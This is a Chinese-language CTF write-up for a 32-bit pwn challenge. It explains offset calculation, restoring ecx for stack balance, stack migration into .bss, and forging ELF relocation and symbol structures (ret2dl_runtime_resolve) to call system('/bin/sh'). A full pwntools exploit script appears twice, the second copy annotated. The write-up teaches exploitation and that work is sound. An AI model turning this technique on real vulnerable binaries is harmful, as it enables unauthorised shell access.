-
引
1.这个道题有两个考察点 一个是ret2dl的了解(只要看过这个技术的,都知道哪里只需要拿过来使用就可以了)还有一个就是main函数末尾的堆栈平衡(自己在这里卡了好久)
-
offset
相信解决的offset的大小,这道题有迎刃而解了(先补充一个知识点,对于新手)
 1.第一个图是pwn350 第二个图是普通的main函数结尾处
2.IDA手动输入一下A,会发现我们输入的数据会改变寄存器的值 前14个输入,第14开始为ecx的值,这就破坏了,原先的堆栈平衡。 我们需要还原原先的堆栈数据。 (我们可以通过ebp和ecx的偏移算出ecx的值)
3.我们通过开始的时候,想栈内压入的寄存器的值,知道ebp和ecx的偏移(注意这里偏移,在程序中,只有偏移是唯一不变的)(有用gdb调试的 可以start 然后n到push ecx的下一行,观察寄存器的值)(一样的效果)
4.说了这么多 进入正题 整体构造思路
1.先计算出偏移(普通的题都是算ebp+4)
2.使用栈迁移将我们的栈迁移到一个具有权限的地方,进行构造(只要溢出的空间足够大 可以不进行栈迁移的)
3.利用ret2_dl_runtime_resolve函数进行伪造我们的函数体
4.获取shell (流程虽然少,但是知识点有点难理解)
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./pwn01')
io = process('./pwn01')
rop = ROP('./pwn01')
#bss_addr = elf.bss()
bss_addr = 0x0804A040
stack_size = 0x800
print "[+]stack_addr" +hex(bss_addr)
ebp_addr = bss_addr + 32
#gdb.attach(io)
#rop.raw('a'*14 + p32(base_stage + 4)*4)
payload = 'a'*14 + p32(ebp_addr+4) +'A'*14
payload = payload.ljust(32, 'a')
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw(payload)
#下面是栈迁移
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
#gdb.attach(io)
io.sendline(rop.chain())
#伪造结构体
rop = ROP('./pwn01')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['read']
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage+82) #
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
#gdb.attach(io)
io.sendline(rop.chain())
io.interactive()
- offset计算和布局
构造思路:payload = padding + ecx +padding +ret(开始栈迁移)
bss_addr = 0x0804A040 #buf输入第地方
ebp_addr = bss_addr + 32 #ebp的地址
payload = 'a'*14 + p32(ebp_addr+4) +'A'*14 #ecx的地址 +4是因为后面要减4
填充数据到ecx ,ecx填充为(ebp+偏移),然后填充数据到达ret,利用返回地址,进行栈迁移
rop.read(0, base_stage, 100) #将返回地址劫持为read 放入必要参数 和payload 一个效果(这样写,减少代码量)
rop.migrate(base_stage) #查看相关rop模块的知识点
#gdb.attach(io)
io.sendline(rop.chain())
rop = ROP('./pwn01')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['read'] #这里主要是一个函数就可以 (没限制)
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb') #如有不懂,可以参考wiki里面的tage1-6 就明白下面三个raw的的布局方式了
rop.raw(base_stage+82) #我们这里伪造是system函数 所以第一个填充的是参数的地址 (82是bin/sh所在的位置),按照实际情况而定
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
#gdb.attach(io)
io.sendline(rop.chain())
io.interactive()
这道题关键考察,offset的计算和汇编代码审计,和改变寄存器的值。
|